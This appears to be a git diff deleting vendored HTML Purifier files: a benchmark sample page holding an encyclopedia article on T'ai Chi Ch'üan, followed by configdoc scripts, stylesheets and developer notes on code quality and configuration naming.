In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'üan training. Lao Tzu provided the archetype for this in the Tao Te Ching when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.

- -

Other training exercises include:

-
    -
  • Weapons training and fencing applications employing the straight sword known as the jian or chien or gim (jiàn ?), a heavier curved sabre, sometimes called a broadsword or tao (dao ?, which is actually considered a big knife), folding fan, staff (?), 7 foot (2 m) spear and 13 foot (4 m) lance (both called qiang ?). More exotic weapons still used by some traditional styles are the large Da Dao or Ta Tao (??) sabre, halberd (ji ?), cane, rope-dart, three sectional staff, lasso, whip, chain whip and steel whip.
  • - -
  • Two-person tournament sparring (as part of push hands competitions and/or san shou ??);
  • -
  • Breathing exercises; nei kung (?? nèigong) or, more commonly, ch'i kung (?? qìgong) to develop ch'i (? qì) or "breath energy" in coordination with physical movement and post standing or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.
  • - -
-

T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first yin (slow, repetitive, meditative, low impact) and then later adding yang ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'üan trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (chin na), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the Shaolin temple:

-
-
"I would rather maim than kill
- -
Hurt than maim
-
Intimidate than hurt
-
Avoid than intimidate."
-
-
-
An outdoor Chen style class in Beijing -
-
Enlarge
-An outdoor Chen style class in Beijing
-
-
- - -

-

Styles and history

-

There are five major styles of T'ai Chi Ch'üan, each named after the Chinese family that teaches (or taught) it:

- -

The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.

-

In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are several groups teaching what they call Wu Tang style T'ai Chi Ch'üan (??????). The best known modern style going by the name Wu Tang has gained some publicity internationally, especially in the UK and Europe, but was originally taught by a senior student of the Wu (?) style.

- -

The designation Wu Tang Ch'üan is also used to broadly distinguish internal or nei chia martial arts (said to be a specialty of the monasteries at Wu Tang Shan) from what are known as the external or wei chia styles based on Shaolinquan kung fu, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools all styles of T'ai Chi (as well as related arts such as Pa Kua Chang and Hsing-i Ch'üan) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called Zhang Sanfeng and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).

- -

When tracing T'ai Chi Ch'üan's formative influences to Taoist and Buddhist monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'üan's practical connection to and dependence upon the theories of Sung dynasty Neo-Confucianism (a conscious synthesis of Taoist, Buddhist and Confucian traditions, esp. the teachings of Mencius) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'üan in it is not. T'ai Chi Ch'üan's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk Zhang Sanfeng in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied Tao Yin (??, Pinyin daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'üan and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal kung fu preserved and refined at various Taoist temples.

- - -

-

Family tree

-

This family tree is not comprehensive.

-
-LEGENDARY FIGURES
-   |
-Zhang Sanfeng*
-circa 12th century
-NEI CHIA
-
-   |
-Wang Zongyue*
-T'AI CHI CH'ÜAN
-   |
-THE 5 MAJOR CLASSICAL FAMILY STYLES
-   |
-Chen Wangting
-1600-1680 9th generation Chen
-CHEN STYLE
-   |
-   +-------------------------------------------------------------------+
-   |                                                                   |
-Chen Changxing                                                     Chen Youben
-1771-1853 14th generation Chen                                     circa 1800s 14th generation Chen
-Chen Old Frame                                                     Chen New Frame
-   |                                                                   |
-
-Yang Lu-ch'an                                                      Chen Qingping
-1799-1872                                                          1795-1868
-YANG STYLE                                                         Chen Small Frame, Zhao Bao Frame
-   |                                                                   |
-   +---------------------------------+-----------------------------+   |
-   |                                 |                             |   |
-Yang Pan-hou                      Yang Chien-hou                   Wu Yu-hsiang
-1837-1892                         1839-1917                        1812-1880
-Yang Small Frame                     |                             WU/HAO STYLE
-
-   |                                 +-----------------+                      |
-   |                                 |                 |                      |
-Wu Ch'uan-yü                      Yang Shao-hou     Yang Ch'eng-fu          Li I-yü
-1834-1902                         1862-1930         1883-1936               1832-1892
-   |                              Yang Small Frame  Yang Big Frame            |
-Wu Chien-ch'üan                                        |                    Hao Wei-chen
-
-1870-1942                                           Yang Shou-chung         1849-1920
-WU STYLE                                            1910-1985                 |
-108 Form                                                                      |
-   |                                                                        Sun Lu-t'ang
-Wu Kung-i                                                                   1861-1932
-1900-1970                                                                   SUN STYLE
-
-   |                                                                          |
-Wu Ta-kuei                                                                  Sun Hsing-i
-1923-1970                                                                   1891-1929
-
-MODERN FORMS
-
-from Yang Ch`eng-fu
-        |
-        |
-        |
-        +--------------+
-        |              |
-  Cheng Man-ch'ing     |
-  1901-1975            |
-  Short (37) Form      |
-                       |
-              Chinese Sports Commission
-              1956
-              Beijing 24 Form
-              .
-              .
-              1989
-              42 Competition Form
-
-              (Wushu competition form combined from Sun, Wu, Chen, and Yang styles)
-
- -

-

Notes to Family tree table

-

Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.

-

The Cheng Man-ch'ing and Chinese Sports Commission short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'üan by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.

- - -

-

Modern T'ai Chi

-
-
Yang style in Shanghai -
-
Enlarge
-Yang style in Shanghai
-
-
-

T'ai Chi has become very popular in the last twenty years or so, as the baby boomers age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its aesthetic appeal (as in the shortened, modern, theatrical "Taijiquan" forms of wushu, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the yin and yang of T'ai Chi Ch'üan. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.

- -

Along with Yoga, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the New Age community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'üan with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health and self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.

- -

-

Modern forms

- -
-
Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA). -
-
Enlarge
-Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA).
-
-
- -

In order to standardize T'ai Chi Ch'üan for wushu tournament judging, and because many of the family T'ai Chi Ch'üan teachers had either moved out of China or had been forced to stop teaching after the Communist regime was established in 1949, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to 24 postures in 1956. They wanted to somehow retain the look of T'ai Chi Ch'üan but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In 1976, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the Combined 48 Forms that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.

- -

As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late 1980s, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the 56 Forms, and so on. The combined forms are The 42 Form or simply the Competition Form, as it is known in China. In the 11th Asian Games of 1990, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (IWUF) has applied for wushu to be part of the Olympic games. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in 2008.

- -

Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'üan has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'üan and thereby lack the quality control traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.

- -

-

Health benefits

-

Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.

-

T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (ADHD) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)

- -

A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of diabetes.[1]

- -

-

Citations to medical research

-
    -
  • Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. PMID 14687346
  • -
  • Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a systematic review. Arch Intern Med. 2004 Mar 8;164(5):493-501. PMID 15006825
  • - -
  • Search a listing of articles relating to the FICSIT trials and T'ai Chi [2]
  • -
  • Hernandez-Reif, M., Field, T.M., & Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork & Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123
  • -
  • Calorie Burning Chart [3]
  • -
  • Tai Chi boosts T-Cell counts in immune system [4]
  • -
  • Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206
  • - -
  • A comprehensive listing of Tai Chi medical research links [5]
  • -
  • References to medical publications [6]
  • -
  • Tai Chi a promising remedy for diabetes, Australian Broadcasting Corporation, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.
  • -
  • Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health & Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.[7]
  • -
- - -

-

See also

- - -

-

External links

- - - - - - - -
-
-
-
-
-
-
Views
- -
-
-
Personal tools
- -
- - - - - - -
-
In other languages
- -
- -
-
- - -
- - - - - diff --git a/vendor/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt b/vendor/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt deleted file mode 100644 index 0c8ae5d93..000000000 --- a/vendor/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt +++ /dev/null @@ -1,7 +0,0 @@ -Disclaimer: - -The HTML used in these samples are taken from random websites. I claim -no copyright over these and assert that I may use them like this under -fair use. - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/configdoc/generate.php b/vendor/htmlpurifier/configdoc/generate.php deleted file mode 100644 index e0c4e674a..000000000 --- a/vendor/htmlpurifier/configdoc/generate.php +++ /dev/null @@ -1,64 +0,0 @@ - true -)); - -$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); -$interchange = new HTMLPurifier_ConfigSchema_Interchange(); -$builder->buildDir($interchange); -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -$interchange->validate(); - -$style = 'plain'; // use $_GET in the future, careful to validate! -$configdoc_xml = dirname(__FILE__) . '/configdoc.xml'; - -$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); -$xml_builder->openURI($configdoc_xml); -$xml_builder->build($interchange); -unset($xml_builder); // free handle - -$xslt = new ConfigDoc_HTMLXSLTProcessor(); -$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl"); -$output = $xslt->transformToHTML($configdoc_xml); - -if (!$output) { - echo "Error in generating files\n"; - exit(1); -} - -// write out -file_put_contents(dirname(__FILE__) . "/$style.html", $output); - -if (php_sapi_name() != 'cli') { - // output (instant feedback if it's a browser) - echo $output; -} else { - echo "Files generated successfully.\n"; -} - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/configdoc/styles/plain.css b/vendor/htmlpurifier/configdoc/styles/plain.css deleted file mode 100644 index 7af80d061..000000000 --- a/vendor/htmlpurifier/configdoc/styles/plain.css +++ /dev/null @@ -1,44 +0,0 @@ - -body {margin:0;padding:0;} -#content { - margin:1em auto; - max-width: 47em; - width: expression(document.body.clientWidth > - 85 * parseInt(document.body.currentStyle.fontSize) ? - "54em": "auto"); -} - -table {border-collapse:collapse;} -table td, table th {padding:0.2em;} - -table.constraints {margin:0 0 1em;} -table.constraints th { - text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE; - width:8em;vertical-align:top;} -table.constraints td {padding-right:0.4em; padding-left: 1em;} -table.constraints td ul {padding:0; margin:0; list-style:none;} -table.constraints td pre {margin:0;} - -#tocContainer {position:relative;} -#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;} -#toc li {position:relative; line-height: 1.2em;} -#toc .col-2 {margin-left:50%;} -#toc .col-l {float:left;} -#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;} - -.description p {margin-top:0;margin-bottom:1em;} - -#library, h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -#library {font-size:1em;} -h1 {margin-top:0;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em; clear:both;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -.deprecated {color: #CCC;} -.deprecated table.constraints th {background:#FFF;} -.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/htmlpurifier/configdoc/styles/plain.xsl b/vendor/htmlpurifier/configdoc/styles/plain.xsl deleted file mode 100644 index 9b9794e0b..000000000 --- a/vendor/htmlpurifier/configdoc/styles/plain.xsl +++ /dev/null @@ -1,253 +0,0 @@ - - - - - - - - - - - - - - - - <xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /> - - - - -
-
-

-
-

Table of Contents

-
    - - - -
-
-
-

Types

- -
- -
- - -
- - -
- type- -

:

-
- -
-
-
- - - - - - - -
  • - - - col-2 - - - margin-top:-em - - - -
      - - - -
    - -
    - -
  • -
    -
    - - - - - -
  • - -
  • -
    -
    - - - - -
    - - -

    No configuration directives defined for this namespace.

    -
    -
    -
    - -

    -
    - -
    - -
    -
    - - -
    - directive deprecated - - - -
    -
    - - - -

    -
    - - - - - - - - - - - - - - - -
    -
    - - - Aliases - - - , - - - - - - -
    - -
    -
    - -
    - Warning: - This directive was deprecated in version . - % should be used instead. -
    -
    - - - Used in - -
      - -
    - - -
    - -
  • - on lines - - - , - - -
  • -
    - - - - Version added - - - - - - Type - - - type type- - - #type- - - - (or null) - - - - - - - - Allowed values - - , - "" - - - - - - Default -
    - -
    - - - External deps - -
      - -
    - - -
    - -
  • -
    - -
    - - diff --git a/vendor/htmlpurifier/configdoc/types.xml b/vendor/htmlpurifier/configdoc/types.xml deleted file mode 100644 index ee2c945a1..000000000 --- a/vendor/htmlpurifier/configdoc/types.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - -
    - A series of case-insensitive characters. Internally, upper-case - ASCII characters will be converted to lower-case. -
    -
    - A series of characters that may contain newlines. Text tends to - indicate human-oriented text, as opposed to a machine format. -
    -
    - A series of case-insensitive characters that may contain newlines. -
    -
    - An - integer. You are alternatively permitted to pass a string of - digits instead, which will be cast to an integer using - (int). -
    -
    - A - floating point number. You are alternatively permitted to - pass a numeric string (as defined by is_numeric()), - which will be cast to a float using (float). -
    -
    - A boolean. - You are alternatively permitted to pass an integer 0 or - 1 (other integers are not permitted) or a string - "on", "true" or "1" for - true, and "off", "false" or - "0" for false. -
    -
    - An array whose values are true, e.g. array('key' - => true, 'key2' => true). You are alternatively permitted - to pass an array list of the keys array('key', 'key2') - or a comma-separated string of keys "key, key2". If - you pass an array list of values, ensure that your values are - strictly numerically indexed: array('key1', 2 => - 'key2') will not do what you expect and emits a warning. -
    -
    - An array which has consecutive integer indexes, e.g. - array('val1', 'val2'). You are alternatively permitted - to pass a comma-separated string of keys "val1, val2". - If your array is not in this form, array_values is run - on the array and a warning is emitted. -
    -
    - An array which is a mapping of keys to values, e.g. - array('key1' => 'val1', 'key2' => 'val2'). You are - alternatively permitted to pass a comma-separated string of - key-colon-value strings, e.g. "key1: val1, key2: val2". -
    -
    - An arbitrary PHP value of any type. -
    -
    - - diff --git a/vendor/htmlpurifier/configdoc/usage.xml b/vendor/htmlpurifier/configdoc/usage.xml deleted file mode 100644 index 97bc34cbc..000000000 --- a/vendor/htmlpurifier/configdoc/usage.xml +++ /dev/null @@ -1,552 +0,0 @@ - - - - - 162 - - - 85 - 315 - - - 67 - 87 - 385 - - - 57 - - - - - 226 - - - - - 319 - - - - - 323 - - - - - 327 - - - - - 331 - - - - - 447 - - - - - 463 - - - - - 66 - - - - - 119 - - - - - 123 - - - - - 128 - - - - - 133 - - - - - 374 - 422 - - - - - 382 - 433 - - - - - 423 - - - - - 70 - - - - - 71 - - - - - 72 - - - - - 73 - - - - - 104 - - - - - 122 - - - 297 - - - - - 123 - - - - - 263 - - - - - 273 - - - - - 291 - - - - - 292 - - - - - 295 - - - - - 399 - - - - - 400 - - - - - 234 - - - 302 - - - 37 - - - 47 - - - 30 - - - - - 241 - - - - - 242 - - - - - 256 - - - - - 259 - - - - - 262 - - - - - 265 - - - 22 - - - - - 268 - - - - - 271 - - - - - 27 - - - - - 93 - - - - - 80 - - - - - 84 - - - 62 - - - - - 313 - - - - - 334 - - - - - 65 - - - 46 - - - - - 76 - - - 89 - - - - - 77 - - - - - 84 - - - - - 48 - - - - - 49 - - - - - 47 - - - - - 19 - - - 19 - - - - - 64 - - - - - 33 - - - - - 34 - - - - - 32 - - - - - 41 - - - - - 51 - - - - - 53 - 58 - - - - - 89 - - - - - 46 - - - - - 77 - - - - - 96 - - - - - 22 - - - - - 24 - - - 27 - - - - - 27 - - - - - 33 - - - - - 41 - - - - - 18 - - - 19 - - - - - 53 - - - - - 171 - - - - - 188 - 206 - - - - - 94 - - - - - 122 - - - - - 327 - - - - - 28 - - - 48 - - - - - 21 - - - 18 - - - 24 - - - - - 50 - - - - - 54 - - - - - 55 - - - - - 31 - - - - - 46 - - - - - 47 - - - - - 48 - - - - - 54 - - - - - 84 - - - - - 54 - - - - - 72 - - - 26 - - - - - 31 - - - - - 32 - - - - - 35 - - - - - 36 - - - - - 25 - - - - - 48 - - - - - 49 - - - - - 35 - - - diff --git a/vendor/htmlpurifier/docs/dev-advanced-api.html b/vendor/htmlpurifier/docs/dev-advanced-api.html deleted file mode 100644 index 5b7aaa3c8..000000000 --- a/vendor/htmlpurifier/docs/dev-advanced-api.html +++ /dev/null @@ -1,26 +0,0 @@ - - - - - - - -Advanced API - HTML Purifier - - - -

    Advanced API

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Please see Customize! -

    - - - - diff --git a/vendor/htmlpurifier/docs/dev-code-quality.txt b/vendor/htmlpurifier/docs/dev-code-quality.txt deleted file mode 100644 index bceedebc4..000000000 --- a/vendor/htmlpurifier/docs/dev-code-quality.txt +++ /dev/null @@ -1,29 +0,0 @@ - -Code Quality Issues - -Okay, face it. Programmers can get lazy, cut corners, or make mistakes. They -also can do quick prototypes, and then forget to rewrite them later. Well, -while I can't list mistakes in here, I can list prototype-like segments -of code that should be aggressively refactored. This does not list -optimization issues, that needs to be done after intense profiling. - -docs/examples/demo.php - ad hoc HTML/PHP soup to the extreme - -AttrDef - a lot of duplication, more generic classes need to be created; -a lot of strtolower() calls, no legit casing - Class - doesn't support Unicode characters (fringe); uses regular expressions - Lang - code duplication; premature optimization - Length - easily mistaken for CSSLength - URI - multiple regular expressions; missing validation for parts (?) - CSS - parser doesn't accept advanced CSS (fringe) - Number - constructor interface inconsistent with Integer -Strategy - FixNesting - cannot bubble nodes out of structures, duplicated checks - for special-case parent node - RemoveForeignElements - should be run in parallel with MakeWellFormed -URIScheme - needs to have callable generic checks - mailto - doesn't validate emails, doesn't validate querystring - news - doesn't validate opaque path - nntp - doesn't constrain path - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/dev-config-bcbreaks.txt b/vendor/htmlpurifier/docs/dev-config-bcbreaks.txt deleted file mode 100644 index 29a58ca2f..000000000 --- a/vendor/htmlpurifier/docs/dev-config-bcbreaks.txt +++ /dev/null @@ -1,79 +0,0 @@ - -Configuration Backwards-Compatibility Breaks - -In version 4.0.0, the configuration subsystem (composed of the outwards -facing Config class, as well as the ConfigSchema and ConfigSchema_Interchange -subsystems), was significantly revamped to make use of property lists. -While most of the changes are internal, some internal APIs were changed for the -sake of clarity. HTMLPurifier_Config was kept completely backwards compatible, -although some of the functions were retrofitted with an unambiguous alternate -syntax. Both of these changes are discussed in this document. - - - -1. Outwards Facing Changes --------------------------------------------------------------------------------- - -The HTMLPurifier_Config class now takes an alternate syntax. The general rule -is: - - If you passed $namespace, $directive, pass "$namespace.$directive" - instead. - -An example: - - $config->set('HTML', 'Allowed', 'p'); - -becomes: - - $config->set('HTML.Allowed', 'p'); - -New configuration options may have more than one namespace, they might -look something like %Filter.YouTube.Blacklist. While you could technically -set it with ('HTML', 'YouTube.Blacklist'), the logical extension -('HTML', 'YouTube', 'Blacklist') does not work. - -The old API will still work, but will emit E_USER_NOTICEs. - - - -2. Internal API Changes --------------------------------------------------------------------------------- - -Some overarching notes: we've completely eliminated the notion of namespace; -it's now an informal construct for organizing related configuration directives. - -Also, the validation routines for keys (formerly "$namespace.$directive") -have been completely relaxed. I don't think it really should be necessary. - -2.1 HTMLPurifier_ConfigSchema - -First off, if you're interfacing with this class, you really shouldn't. -HTMLPurifier_ConfigSchema_Builder_ConfigSchema is really the only class that -should ever be creating HTMLPurifier_ConfigSchema, and HTMLPurifier_Config the -only class that should be reading it. - -All namespace related methods were removed; they are completely unnecessary -now. Any $namespace, $name arguments must be replaced with $key (where -$key == "$namespace.$name"), including for addAlias(). - -The $info and $defaults member variables are no longer indexed as -[$namespace][$name]; they are now indexed as ["$namespace.$name"]. - -All deprecated methods were finally removed, after having yelled at you as -an E_USER_NOTICE for a while now. - -2.2 HTMLPurifier_ConfigSchema_Interchange - -Member variable $namespaces was removed. - -2.3 HTMLPurifier_ConfigSchema_Interchange_Id - -Member variable $namespace and $directive removed; member variable $key added. -Any method that took $namespace, $directive now takes $key. - -2.4 HTMLPurifier_ConfigSchema_Interchange_Namespace - -Removed. - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/dev-config-naming.txt b/vendor/htmlpurifier/docs/dev-config-naming.txt deleted file mode 100644 index 66db5bce3..000000000 --- a/vendor/htmlpurifier/docs/dev-config-naming.txt +++ /dev/null @@ -1,164 +0,0 @@ -Configuration naming - -HTML Purifier 4.0.0 features a new configuration naming system that -allows arbitrary nesting of namespaces. While there are certain cases -in which using two namespaces is obviously better (the canonical example -is where we were using AutoFormatParam to contain directives for AutoFormat -parameters), it is unclear whether or not a general migration to highly -namespaced directives is a good idea or not. - -== Case studies == - -=== Attr.* === - -We have a dead duck HTML.Attr.Name.UseCDATA which migrated before we decided -to think this out thoroughly. - -We currently have a large number of directives in the Attr.* namespace. -These directives tweak the behavior of some HTML attributes. They have -the properties: - -* While they apply to only one attribute at a time, the attribute can - span over multiple elements (not necessarily all attributes, either). - The information of which elements it impacts is either omitted or - informally stated (EnableID applies to all elements, DefaultImageAlt - applies to tags, AllowedRev doesn't say but only applies to a tags). - -* There is a certain degree of clustering that could be applied, especially - to the ID directives. The clustering could be done with respect to - what element/attribute was used, i.e. - - *.id -> EnableID, IDBlacklistRegexp, IDBlacklist, IDPrefixLocal, IDPrefix - img.src -> DefaultInvalidImage - img.alt -> DefaultImageAlt, DefaultInvalidImageAlt - bdo.dir -> DefaultTextDir - a.rel -> AllowedRel - a.rev -> AllowedRev - a.target -> AllowedFrameTargets - a.name -> Name.UseCDATA - -* The directives often reference generic attribute types that were specified - in the DTD/specification. However, some of the behavior specifically relies - on the fact that other use cases of the attribute are not, at current, - supported by HTML Purifier. - - AllowedRel, AllowedRev -> heavily specific; if ends up being - allowed, we will also have to give users specificity there (we also - want to preserve generality) DTD %Linktypes, HTML5 distinguishes - between and / - AllowedFrameTargets -> heavily specific, but also used by - and
    . Transitional DTD %FrameTarget, not present in strict, - HTML5 calls them "browsing contexts" - Default*Image* -> as a default parameter, is almost entirely exlcusive - to - EnableID -> global attribute - Name.UseCDATA -> heavily specific, but has heavy other usage by - many things - -== AutoFormat.* == - -These have the fairly normal pluggable architecture that lends itself to -large amounts of namespaces (pluggability may be the key to figuring -out when gratuitous namespacing is good.) Properties: - -* Boolean directives are fair game for being namespaced: for example, - RemoveEmpty.RemoveNbsp triggers RemoveEmpty.RemoveNbsp.Exceptions, - the latter of which only makes sense when RemoveEmpty.RemoveNbsp - is set to true. (The same applies to RemoveNbsp too) - -The AutoFormat string is a bit long, but is the only bit of repeated -context. - -== Core.* == - -Core is the potpourri of directives, mostly regarding some minor behavioral -tweaks for HTML handling abilities. - - AggressivelyFixLt - ConvertDocumentToFragment - DirectLexLineNumberSyncInterval - LexerImpl - MaintainLineNumbers - Lexer - CollectErrors - Language - Error handling (Language is ostensibly a little more general, but - it's only used for error handling right now) - ColorKeywords - CSS and HTML - Encoding - EscapeNonASCIICharacters - Character encoding - EscapeInvalidChildren - EscapeInvalidTags - HiddenElements - RemoveInvalidImg - Lexing/Output - RemoveScriptContents - Deprecated - -== HTML.* == - - 